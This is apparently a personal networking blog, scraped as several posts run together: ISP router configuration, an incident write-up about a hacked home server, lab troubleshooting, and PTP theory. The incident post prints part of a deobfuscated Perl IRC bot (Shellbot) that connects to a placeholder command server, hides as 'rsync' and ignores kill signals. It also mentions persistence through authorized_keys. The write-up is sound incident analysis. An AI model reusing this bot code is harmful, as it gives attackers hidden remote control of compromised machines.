With the recent price hikes (June 2023) for Virgin Media’s service, and a well timed knock on the door, I decided to switch (after many years) from Virgin Media [VM] to Eir’s FTTH service.
It wasn’t the smoothest install – which seems to be fairly typical, but up and running for a few days now without any issues.
Main points about the service;
Fiber to the Home [FTTH]!
Dual Stack Public IPv4 & IPv6 addresses – more on this later
Gigabit downlink
Cheaper!
Hardware & Software
Router
Hardware: EdgeRouter X SFP 6-Port
Software Release: v2.0.9-hotfix.6
Switch
Hardware: DCS-7010T-48
Software: 4.28.5.1M
Clients
Windows: Win 11, Win 10
Linux: Debian, Android 13, OS X
EdgeRouter Configuration
WAN Interface
The connection to the ONT e.g. the WAN port, needs to be tagged with VLAN ID: 10. This seems to be the standard for all FTTH in Ireland (eir, siro, etc.).
Additionally we’ll need to have both DHCP and DHCPv6-PD configured to (1) get our IPv4 address, and (2) have our IPv6 prefix delegated to us.
Since Eir provides both public IPv4 and IPv6 addresses, implementing a WAN firewall is advisable.
ethernet eth0 {
duplex auto
poe {
output off
}
speed auto
vif 10 {
address dhcp
description Internet
dhcpv6-pd {
pd 0 {
interface switch0 {
host-address ::1
service slaac
}
prefix-length /56
}
prefix-only
rapid-commit enable
}
firewall {
in {
ipv6-name WANv6_IN
name WAN_IN
}
local {
ipv6-name WANv6_LOCAL
name WAN_LOCAL
}
}
}
}
Note: eir will delegate a /56 prefix on request, however since the SLAAC service is configured, each subnet on the LAN will have a /64.
NAT & Port-Forwarding Services
The outbound-interface for the NAT service will need to be updated to reflect the now tagged WAN interface.
nat {
rule 5010 {
description "masquerade for WAN"
outbound-interface eth0.10
type masquerade
}
}
Likewise, the Port-Forwarding will need a change for the wan-interface to match.
Testing
show interfaces will show the IPv4 address assigned to the WAN port, while the first /64 of our IPv6 space will be assigned to the LAN (switch0)
~$ show interfaces
Codes: S - State, L - Link, u - Up, D - Down, A - Admin Down
Interface IP Address S/L Description
--------- ---------- --- -----------
eth0 - u/u
eth0.10 A.B.C.D/23 u/u Internet
eth1 - u/u Local
eth2 - u/D Local
eth3 - u/D Local
eth4 - u/D Local
eth5 - u/D
lo 127.0.0.1/8 u/u
::1/128
switch0 192.168.1.1/24 u/u Local
2001:aaaa:bbbb:cccc::1/64
With a default route via the link-local address, out the WAN interface:
~$ show ipv6 route
IPv6 Routing Table
Codes: K - kernel route, C - connected, S - static, R - RIP, O - OSPF,
IA - OSPF inter area, E1 - OSPF external type 1,
E2 - OSPF external type 2, N1 - OSPF NSSA external type 1,
N2 - OSPF NSSA external type 2, B - BGP
Timers: Uptime
IP Route Table for VRF "default"
K ::/0 [0/1024] via fe80::a2f3:aaaa:bbbb:cccc, eth0.10, 03:56:46
C ::1/128 via ::, lo, 03:58:38
C 2001:aaaa:bbbb:cccc::/64 via ::, switch0, 03:50:46
C fe80::/64 via ::, eth0.10, 03:58:02
And a ping, just to be sure
~$ ping6 facebook.com
PING facebook.com(edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de)) 56 data bytes
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=1 ttl=58 time=2.41 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=2 ttl=58 time=2.11 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=3 ttl=58 time=2.12 ms
64 bytes from edge-star-mini6-shv-01-dub4.facebook.com (2a03:2880:f132:83:face:b00c:0:25de): icmp_seq=4 ttl=58 time=2.13 ms
^C
--- facebook.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3011ms
rtt min/avg/max/mdev = 2.114/2.197/2.415/0.134 ms
Quirks
One annoying behaviour with SLaaC as implemented on the EdgeRouter, is that the default (not changable) config is following RFC4861, which specifies Preferred Lifetime (AdvPreferredLifetime): 604800 seconds (7 days) and Valid Lifetime (AdvValidLifetime): 2592000 seconds (30 days).
This has the effect that unless the router (EdgeRouter) explicitly signals to stop using a prefix, the hosts will continue to use the same prefix for 7 days. If you restart the router, have a WAN interface flap, etc. Eir will assign a new Prefix, but the hosts will continue to use the old one, meaning that IPv6 connectivity will be broken until you clear out the autoassigned IPv6 addresses (something that is harder to do than you’d think!!).
Missed Changes
Switch the outbound SMTP relay from smtp.upcmail.ie to mail1.eircom.net. Both are still unauthenticated, port 25, using TLS.
For me, getting hacked was an interesting experience as I hadn’t really seen it as something likely – I’m quite technology/computer savvy, use random passwords (KeePass) for any/all Internet services, 2FA where available, and I thought not a very interesting target. I get 100s of hits on a daily basis on the SSH port of my server, but fail2ban, and disabling root logins deals with 99% of those.
2020-05-08 19:00:34,007 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:36,303 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:38,589 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:00:41,136 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:02:26,666 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:02:27,531 fail2ban.actions [2654]: NOTICE [sshd] Ban 218.92.0.191
2020-05-08 19:02:28,807 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
2020-05-08 19:12:28,284 fail2ban.actions [2654]: NOTICE [sshd] Unban 218.92.0.191
2020-05-08 19:26:06,233 fail2ban.filter [2654]: INFO [sshd] Found 218.92.0.191
First Signs of Trouble
The Internet felt slow – the typical non-specific issue that initial connection setup felt a few heartbeats slower then it usually was. Normally this could be blamed on the neighbours WiFi, etc. but mostly I’m on a wired connection (Cat6, 1Gbps) internally, and 240M down / 24M up DOCSIS connection that has been completely reliable in terms of delivering the advertised speeds up until now.
However I do have a cron job running every 30 mins after an incident a few years ago, so I did have a measurable change in behaviour:
From Months of perfect results to spiking ping times (and tests failing to report at all)
While I could eventually get to 240Mbps downstream, the massive increase in loss/latency was especially obvious when opening new network connections – Zoom / Teams / Skype calls slow to open, hearing everyone, but nobody hearing me, Windows complaining that it was unable to screen new downloads, etc.
Getting nowhere with my ISP
Given that there was clearly an Internet issue, I was reluctant to engage my ISP. My current setup generally makes their usual troubleshooting steps unhelpful to say the least (not their fault) as I’m probably one of their more extreme outliers.
My current setup consists of;
Hub 3.0 – operating in bridge/modem mode
Ubiquity EdgeRouter X SFP running v2.0.8-hotfix.1 – this is the network gateway/NAT point, and DHCP server
Arista 7010 running EOS-4.23.0F – acting as L2 distribution switch + L3 gateway for homelab
Ubiquity UniFi AP-AC-Pro running 4.0.80.10875 – 2.4GHz/5GHz AP
RPi3 running PiHole – Network level adblocking + DNS
2 Dell R710 Servers – Homelab
Other stuffs
I’m a high usage customer, even on their base package
After going through the usual steps, they confirmed that the modem had seen a few signal spikes, but nothing to explain the issues I was seeing, and given the current Covid-19 situation, they are understandably reluctant to enter people’s homes.
I should be clear, I have no issue with their processes or performance – they basically provide a big, fat, unlimited pipe to the Interwebs with a public IPv4 address, so they are everything I want from an ISP.
Second oddity
From time to time I noticed a processes on my main Linux media/all round everything box consuming 300%+ CPU. I didn’t give it much thought (my mistake) as it looked innocent enough – the read-only user account that is used by my Kodi player, hitting kswapd0 very hard (300+% CPU utilisation).
I figured that the problem was Kodi indexers pounding the NAS hard, and with the network connection issues, occasionally hanging. This was my mistake.
I would kill the process, then go on to other things while moaning about my internet connection.
Enlightenment – Step 1: Getting better data
I’d been playing with Influx and Grafana so decided to up my home network data collection game big time. Step 1 was to start recording my Speedtest results in Influx and charting them via Grafana. I switched to using the official Speedtest CLI client, and wrapping that in some python (based on this) to feed the json output into Influx. The main additional requirement was also including the loss information.
Speedtest.net Results, as json, pushed to Influx and charted in Telegraf
Better looking then excel and easier to work with, but not telling me anything I didn’t already know.
Enlightenment – Step 2: SmokePing… Grafana Style
While the Speedtest results are interesting, they are bandwidth heavy so I was only running them every 15 mins. I’ve used SmokePing in the past, and decided to explore the options with my Influx-Grafana setup, which lead me to standing up the last element in the TIG stack – Telegraf.
Some simple config in Telegraf to monitor the ICMP response time for a few well known IPs e.g. 8.8.8.8, 1.1.1.1, youtube.com, facebook.com, as well as the local gateway for comparison, gave me a reliable way to at least monitor the situation.
By using IPs, I was eliminating DNS from 2 of the tests, and also diversifying CDN points e.g. Google estate vs. Facebook vs. CloudFlare
Local default gateway vs. 8.8.8.8, 1.1.1.1, and YouTube ICMP/Ping average response time, and loss
Enlightenment – Step 3: Gateway Monitoring
As the next step in achieving total visibility within my own network, I decided to beef up the monitoring of the gateway itself. While there are more sophisticated approaches now in Cloud/Enterprise networking e.g. Arista CloudVision, at the very least I can monitor SNMP MIBs using Telegraf, and the EdgeRouter supports that.
So looking at the ICMP performance today, I saw that the period of awful performance matched to a huge increase in Context Switches on the gateway – this showed up as ~5-7% CPU utilisation for Soft IRQ on the EdgeMax.
Spike in LatencyCtx SwitchesPPS Spike
This is interesting, as while the actual interface utilisation was <3Mbps (the spikes in the next chart are the periodic speedtest results) but we were seeing a huge number of PPS hitting the router, which in turn was requiring high levels of context switches.
The speedtest throughput dominates the 60 second interface utilisation
This would generally imply to me that a huge number of new sessions are being setup, and the kernel is struggling to handle the NAT translations for the TCP session startup before it can be offloaded to the hardware.
Enlightenment – Step 5: Ok, so who is suddenly using an extra ~4Mbps
For that we have Arista CloudVision – the streaming telemetry is effectively instant and the dashboards baked in allow for easy comparison of stats. A quick look there and it was obvious that the server port (Ethernet 4) was jumping from ~0 to 1.2kpps in the time under investigation, with those unicast packets being forwarded on the uplink (Ethernet 1).
CVP – AdHoc Dashboard
Enlightenment – Step 5: WTF is going on
Ok, so my beloved linux server is suddenly spamming the gateway – wtf is it doing? Sflow gives us a way to check, again through CVP
Holy shit, ~1.3kpps of SSH traffic
Sflow analysis
Ok, step 1, drop all SSH traffic initiated by the host. Allow incoming, and established sessions so we can troubleshoot
IP Access List TESTING
counters per-entry
10 permit tcp any host 192.168.1.x established
20 permit tcp any host 192.168.1.y established
30 deny tcp host 192.168.1.x any eq ssh log [match 19069 packets, 0:00:00 ago]
40 deny tcp host 192.168.1.y any eq ssh log
50 permit ip any any [match 10109 packets, 0:00:00 ago]
Enlightenment – Step 6: We have some breadcrumbs
With the ACL present, I can see a huge number of SSH session attempts being dropped, but my performance to the rest of the world is now back up to the expected levels, so we have our smoking gun.
Next step is to see who/what is triggering all these session attempts. A small sample of the netstat output
Given that this account only exists to provide read-only access to my Media store, this is a surprise. This explains why killing the high CPU processes didn’t keep everything running, or why a server reboot (for other reasons) had no impact/improvement.
The other fun addition was adding to the .ssh/authorized_keys to ensure that even if the account passwords change, access is retained:
Replace the eval with print, feed it to perl and we get the plain-text version:
my $processo = 'rsync';
$servidor='W.X.Y.Z' unless $servidor;
my $porta='443';
my @canais=("#007");
my @adms=("aaa","aaa");
my @auth=("localhost");
my $linas_max=6;
my $sleep=3;
my $nick = getnick();
my $ircname = getnick();
my $realname = (`uname -a`);
my $acessoshell = 1;
my $prefixo = "! ";
my $estatisticas = 0;
my $pacotes = 1;
my $VERSAO = '0.2a';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
...
Which was immediately identified by Windows Defender as Perl/Shellbot.S though in this case, it seems to be a slimmed down version, and I still need to investigate the Go-based payload.
How Did This Happen
Pure stupidity – some accounts with very limited permissions had simple passwords for ease of use. The problem was these accounts also existed on the same server that is exposed to the interwebs.
My normal practice is to create accounts where the shell is /bin/false for this exact reason, but for two accounts this was missed – obviously addressed now.
The second issue was discounting the second abnormal behaviour (high CPU utilisation) when I already knew things in my environment were behaving abnormally.
What is better now?
Improved monitoring everywhere;
TIG stack monitoring for all Linux hosts and VMs
TIG monitoring of gateway
TIG monitoring of external responsiveness (Ping)
CVP collection of sFlow data
Update VM templates for monitoring from initiation – every VM in the homelab is now monitored in a dashboard similar to this
Consolidated Syslog
Logging ACLs for internally initiated SSH sessions
Alerting based on router utilisation (Soft IRQ)
All non-user accounts are using /bin/false as the shell
I do a lot of testing with eve-ng which is in turn running on a VM within ESXi. Naturally I have a Distributed V-Switch, with multiple uplinks for redundancy.
EVE-NG version: 2.0.3-92
Platform: ESXi 6.5
Security config on hypervisor:
Promiscuous mode Accept
MAC address changes Accept
Forged transmits Accept
Unfortunately this seems to break DHCP for reasons I can’t quite fathom. If we look at the topology we are working with:
The DHCP server is hosted on the same hypervisor/dvSwitch, but for some crazy reason, the DHCP Response never makes it across the bridge within the EVE-NG VM.
brctl show
bridge name bridge id STP enabled interfaces
pnet2 8000.000c2976c6ca no eth2
vunl0_1_0
vunl0_2_1
vunl0_3_0
vunl0_4_0
tcpdump -i vunl0_2_1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on vunl0_2_1, link-type EN10MB (Ethernet), capture size 262144 bytes
11:05:32.267298 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 50:00:00:cb:38:c2 (oui Unknown), length 300
11:05:32.267602 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 50:00:00:cb:38:c2 (oui Unknown), length 300
11:05:34.265517 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 50:00:00:01:00:00 (oui Unknown), length 300
11:05:34.265784 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 50:00:00:01:00:00 (oui Unknown), length 300
tcpdump -i pnet2 port bootps -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on pnet2, link-type EN10MB (Ethernet), capture size 262144 bytes
11:07:32.903789 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 50:00:00:cb:38:c2, length 300
11:07:32.904151 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 50:00:00:cb:38:c2, length 300
11:07:32.944639 IP 172.168.1.3.67 > 172.168.1.243.68: BOOTP/DHCP, Reply, length 308
11:07:32.944679 IP 172.168.1.3.67 > 172.168.1.243.68: BOOTP/DHCP, Reply, length 308
11:07:32.944695 IP 172.168.1.3.67 > 172.168.1.243.68: BOOTP/DHCP, Reply, length 308
11:07:32.944817 IP 172.168.1.3.67 > 172.168.1.243.68: BOOTP/DHCP, Reply, length 308
11:07:34.499852 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 50:00:00:01:00:00, length 300
11:07:34.500099 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 50:00:00:01:00:00, length 300
11:07:34.500326 IP 172.168.1.3.67 > 172.168.1.240.68: BOOTP/DHCP, Reply, length 308
11:07:34.500409 IP 172.168.1.3.67 > 172.168.1.240.68: BOOTP/DHCP, Reply, length 308
11:07:34.500434 IP 172.168.1.3.67 > 172.168.1.240.68: BOOTP/DHCP, Reply, length 308
11:07:34.500508 IP 172.168.1.3.67 > 172.168.1.240.68: BOOTP/DHCP, Reply, length 308
One of the many useful tools included with Arista EOS is iperf(2.0.5) which allows the switch to generate test TCP or UDP traffic. Something to note is that the total generated traffic is limited by the both the CPU capacity and the link between the CPU and the forwarding hardware, so do not expect this to be capable of linerate testing. This is useful for functional testing only.
For the client side, just drop to the bash shell, and point it towards the iperf server
L1#bash
Arista Networks EOS shell
[admin@L1 ~]$ iperf
Usage: iperf [-s|-c host] [options]
Try `iperf --help' for more information.
[admin@L1 ~]$ iperf -c 172.16.0.4
------------------------------------------------------------
Client connecting to 172.16.0.4, TCP port 5001
TCP window size: 22.5 KByte (default)
------------------------------------------------------------
[ 3] local 172.16.12.1 port 51455 connected with 172.16.0.4 port 5001
[ ID] Interval Transfer Bandwidth
[ 3] 0.0-28.6 sec 384 KBytes 110 Kbits/sec
Running the IPerf server (traffic is from client to server) on the switch requires a little more work. By default iperf uses the port TCP/5001 in server mode for inbound connections. But Arista blocks this port by default as part of the Control Plane Policer. Therefore you have to temporarily add an iptables rule in the EOS shell to allow access to port TCP/5001.
Arista provides a number of VM type images that you can use. The one with the software forwarding plane is vEOS-lab. This image has all the control plane features of standard EOS from Arista, with a software dataplane – the downside to this is that features that rely on the hardware e.g. NAT aren’t available.
There are two files required to get a working vEOS switch. The vmdk file and the Aboot ISO. To create a working vEOS on 4.17.5M we need:
vEOS-lab-4.17.5M.vmdk
Aboot-veos-serial-8.0.0.iso
To create an image that UnetLab will recognise the following steps should turn the trick
Create the directory for the version in question
Copy the two files in there
Convert the vEOS-lab-4.17.5M.vmdk to a qcow image
Rename the Aboot ISO to cdrom.iso file
All done – fire up your Lab and select Arista vEOS as the template
IEEE 1588 aims at creating a master-slave timing distribution model across PTP clocks. In IEEE 1588, a clock is a node that implements PTP. In that node, a “PTP port” is a physical, logical, or virtual interface supporting PTP and handling PTP communications. To define the state or function of the port, IEEE 1588 defines state machines as part of its Best Master Clock Algorithm [BMCA] process.
Best Master Clock Algorithm
The BMCA actually has two key functions in a clock. Based on the information received on its PTP Port(s), the BMCA of a clock will:
define the master-slave hierarchy of the PTP distribution
select the best master (the clock source that it will synchronise to)
NOTE: Be aware of the distinction between the port state and the master clock selection, though both are handled as part of BMCA.
The BMCA is designed in such a way that a local clock determines which of all the clocks (including itself) is the “best”, then it decides on the state of all the ports (master/slave/passive). Clocks do not negotiate who should be master or slave – instead each computes the state of it’s own ports. The algorithm, by design, avoids configurations with two masters, no masters, or ones that thrash.
PTP ports can be in 1 of 3 states (the above diagram only considers GM, Slave, and intermediate port states. The role and type of the intermediate clocks isn’t considered yet, simply assume that they run the BMCA);
Master – providing timing information to downstream clocks
Slave – learning timing from an upstream (master) clock
Passive – preventing a loop in the PTP topology
The master port of a clock transmits its packet-based clock signal in the form of PTP messages to the slave port or another clock. Slave ports allow a clock to synchronise with the root of the hierarchy, the ultimate master clock e.g. the Grandmaster [GM] clock. A passive port prevents timing loops or conflicting master ports in the same hierarchy, when there are multiple valid transport network paths (consider an L3 network – no ports blocked due to STP). The state of the port, and the selected clock source (best master or master port) can change over time.
In a steady state network, the BMCA processed by the clocks establishes a hierarchy up to the root, i.e. a GM, and ultimately to slave clocks, the leaves of the hierarchy.
The BMCA will avoid creating timing loops through valid transport network paths e.g. ports that are not blocked by spanning tree. In the case of any changes e.g. device or link failure, the BMCA might have to re-establish the hierarchy and/or reselect the master.
How do we select the “best” clock?
The best master clock algorithm compares one clock to another by comparing datasets (my dataset, vs current best dataset, vs. the dataset just received) that represent those clocks. The table below shows the parameters used to compare any two PTP clocks.
GM Priority 1
Configurable
GM Class
Like NTP Stratum
GM Accuracy
Atomic Clock, GPS, NTP, Hand set, Internal Oscillator, etc.
GM offsetScaledLogVariance
Provided info from GM regarding PTP variance due to temp, etc.
GM Priority 2
Configurable
GM Identity
Usually based on the MAC Address
Steps Removed
Number of hops to GM. 0 for local clock
Identity of Senders
Identity of parent clock. Same as self for single clock
Identity of Receiver
Own Identity
Port number of the receiver
Own port number
GM selection can be manipulated using Priority1 and Priority2 values. Typically a true Grand Master device (Meinberg, etc.) will have a low Priority1, with the Priority2 value used to select a preferred active Grand Master device.
We would expect devices with a stable clock (for example the -CL variant of Arista’s 7150s), close to the GMs in the hierarchy to have an intermediate Priority1 and 2 values e.g. 127 – this way they would only become the GM if both “true” GM devices fail.
Slave devices (servers, etc.) would have the highest Priority value configured e.g. 255 to ensure that they never become the GM for the timing domain.
PTP Domains
IEEE 1588 defines the idea of a PTP Domain. These domains can be used for different purposes, e.g. technical or administrative, at the convenience of the user. The standard defines the protocol and rules but does not define usage. A PTP domain corresponds to one GM delivering its clock signal over the hierarchy established for that domain. Simply put, a PTP domain corresponds to a unique hierarchy of two or more clocks synchronised to the same GM.
The spec allows a clock device to support multiple domains, but a PTP port within that device can only be part of a single domain. Logically, because a PTP communication path is established between two PTP ports, a PTP path belongs to one PTP domain and can never span multiple PTP domains.
A transport network supports multiple PTP domains and a physical network interface can convey multiple PTP paths depending on vendor implementation. Remember, a PTP port is a logical description that can be translated into a physical or virtual interface in a clock implementation. The specification allows for a PTP port to be assigned to a physical port, a VLAN or a loopback interface.
A network or a clock device can support multiple domains on the condition that each domain remains separate. This separation can be physical or logical, as distinct communication networks, VLANs or clocks, and could lead to more complex and expensive design implementation, particularly for maintaining different timescales in single clocks.
This is the first part of a multi-part series that will cover the basic concepts, terminology, behaviours, and applications of PTP.
PTP Goals
PTP was originally defined in the IEEE 1588-2002 standard, officially entitled “Standard for a Precision Clock Synchronization Protocol for Networked Measurement and Control Systems” and published in 2002. In 2008, IEEE 1588-2008 was released as a revised standard; also known as PTP Version 2 [PTPv2], it improves accuracy, precision and robustness but is not backward compatible with the original 2002 version.
IEEE 1588 was designed to fill a niche that neither NTP nor GPS could fulfill by solving two problems:
Local systems needing clock accuracy in the sub-microsecond range
Systems needing synchronisation in areas that cannot afford the cost of a GPS receiver at each node, or that cannot receive GPS signals (consider an underground or windowless datacenter)
The origins of IEEE 1588 development come from test and measurement (instrumentation and data acquisition), industrial automation or power generation, and received strong support from the automation industry leading to the adoption of the IEEE 1588-2002 standard by the Industrial Electro-technical Commission [IEC] as IEEE/IEC 61588-2004.
Specific application domains and targets had driven first release of IEEE 1588 work. Applications (e.g. data acquisition, military instrumentation, industrial robots and high-speed printers) and their targets, had sufficient shared objective to define common criteria:
Operation over control localised areas, such as local area network [LAN], with no intent to cover Internet or wide area networks, but supporting a PTP system.
Administration-free operation allowing “plug-and-play” deployment of IEEE 1588 clocks
Designed for minimal resource requirement in devices supporting PTP (clock filtering or averaging might not be necessary).
Currently one of the main industries using PTP is the High-Frequency Trading [HFT], and financial sector, to ensure highly accurate timing and synchronisation for their market feeds and trading servers.
When reading the spec
Just to note, that as an IEEE spec, 1588 can be far more difficult to read than IETF/RFC documents. A key thing to note in this particular spec is that IEEE 1588 also specifies “the node, system, and communications properties necessary to support PTP” and proposes models of devices, called “clocks” that support the protocol and aim to help and enhance the transfer of packet-based timing references. In IEEE 1588 terms, a PTP system is a set of IEEE 1588 clocks with specialised functions to support the protocol, PTP.
For instance, specifications of an IEEE 1588 clock include some material, such as a port, that is not part of the protocol itself. However, the messages sent and received by each port of an IEEE 1588 clock and the resulting behaviour of that clock is part of the protocol. Nonetheless, the standard does not define any performance objective for transport network device or clock.
To simplify – a PTP clock is a device that runs the PTP protocol, and has one or more network interfaces
I’ve been working with a lot of VMs lately and was using the “new” macvtap + bridge mode for the VM networking as this is supposed to offer great performance, while being simpler to configure. A key point is that each macvtap has its own mac address on the same Ethernet segment – think of this as an Ethernet sub-interface. The physical interface to which the macvlan is attached is often referred to as “the lower device”, with the macvtap itself referred to as the “upper device”.
macvtap has a number of different modes that it can be run in;
Bridge: this works almost like a traditional bridge, in that data received on a macvlan in bridge mode and destined for another macvlan of the same lower device is sent directly to the target (if the target macvlan is also in bridge mode), rather than being sent outside. Basically no learning, and no STP – simple and fast
VEPA: Virtual Ethernet Port Aggregator is the default mode. If the lower device receives data from a macvlan in VEPA mode, this data is always sent “out” to the upstream switch or bridge, even if it’s destined for another macvlan in the same lower device. The benefit to this is that the traffic between VMs becomes visible externally, the downside being that the external switch must support hair-pin mode (a.k.a reflective relay).
Private: this is essentially like VEPA mode, but with the added feature that no macvlans on the same lower device can communicate, regardless of where the packets come from – basically think of it as acting like a private VLAN.
Passthrough: No idea yet about this mode
There is one big disadvantage to macvlan though – by design it is not possible for the host to connect directly with the guests.
There is however a workaround – we add a new macvtap interface to the host, and route all VM communications through that bridge. Basic steps are;
Create a new macvlan bridge and bring it up
sudo ip link add link eth0 macvlan0 type macvlan mode bridge
sudo ifconfig macvlan0 up
sudo ifconfig macvlan0
macvlan0 Link encap:Ethernet HWaddr fa:ab:14:97:fd:ec
inet6 addr: fe80::f8ab:14ff:fe97:fdec/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:508 (508.0 B)
Assign an IP address to the macvtap interface (192.168.1.3), and add a static host route towards the VM IP (192.168.1.10)
sudo ifconfig macvlan0 192.168.1.3 netmask 255.255.255.0
sudo ip route add 192.168.1.10/32 via 192.168.1.3 dev macvlan0
And there you go – host-guest communications via macvtap interfaces
ping 192.168.1.10
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=0.282 ms
64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=0.134 ms
The downside to this being;
You lose 1 extra IP address on the host, so it can network to the guest
You have to add a lot of static routes unless you further subnet your network between VM and non-VM hosts, and route the VM subnet through the macvap interface
Was working at the parents place for a few days and was appalled to find that, on what is sold as a home broadband connection (LTE-based), they have the SIP ports blocked.
Skype worked just fine, as always, but my work phone was unable to register with the VoIP server. Tunnel everything through the corp VPN (we use split tunnels by default – a much better option) and all worked as expected.
Just need to modify the routing so that traffic to the SIP server also uses the VPN. Minor annoyance, but still, WHY?!
This took a bit of google work to piece together how it works, so just posting it here so others can benefit. The basic scenario is as follows:
I have a number of subnets that I need to assign addresses to
I have a single server with only one interface and it lives on my management network
Since the server isn’t on each of the subnets I’m going to make user of the UDP Helper functionality built into most routers/L3 switches today. If a DHCP client outside the DHCP server’s subnet broadcasts an address request, it is the helper that forwards the message to the DHCP server. The server then chooses an address and sends the client a unicast message, using the helper to send the message back to the client’s subnet.
The address is reserved for a limited time while the DHCP server waits for a response. If the client responds with another broadcast message, the DHCP server distributes the address.
Router config
This is incredibly simple. On each SVI, simply add the ip helper-address:
interface vlan 10
ip address 10.0.10.1/24
ip helper-address 10.10.10.200
interface vlan 20
ip address 10.0.20.1/24
ip helper-address 10.10.10.200
interface vlan 30
ip address 10.0.30.1/24
ip helper-address 10.10.10.200
Of course, your router should be able to reach the helper address.
DHCP Server Config
This was actually the harder part to hunt down. Basically we just define our subnets without using the “shared-network” statement
authoritative;
# this is the most important line. It specifies the method
# to use to connect to the DNS server and update it.
ddns-update-style none;
ddns-domainname "example.com";
ignore client-updates;
option domain-name "example.com";
option domain-name-servers 8.8.8.8,8.8.4.4;
option time-offset 0;
option ntp-servers 10.10.10.200;
one-lease-per-client off;
default-lease-time 86400;
max-lease-time 604800;
option ip-forwarding off;
# Subnet for internal hosts
subnet 10.0.10.0 netmask 255.255.255.0 {
range 10.0.10.2 10.0.10.254;
option routers 10.0.10.1;
option subnet-mask 255.255.255.0;
}
subnet 10.0.20.0 netmask 255.255.255.0 {
range 10.0.20.2 10.0.20.254;
option routers 10.0.20.1;
option subnet-mask 255.255.255.0;
}
subnet 10.0.30.0 netmask 255.255.255.0 {
range 10.0.30.2 10.0.30.254;
option routers 10.0.30.1;
option subnet-mask 255.255.255.0;
}
The server will select the correct subnet, based on the GIADDR (Gateway IP Address) contained in the request e.g. the DHCP Request reaching the server from vlan10 will have GIADDR = 10.0.10.1
This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.AcceptRead More
Privacy & Cookies Policy
Privacy Overview
This website uses cookies to improve your experience while you navigate through the website. Out of these, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may affect your browsing experience.
Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.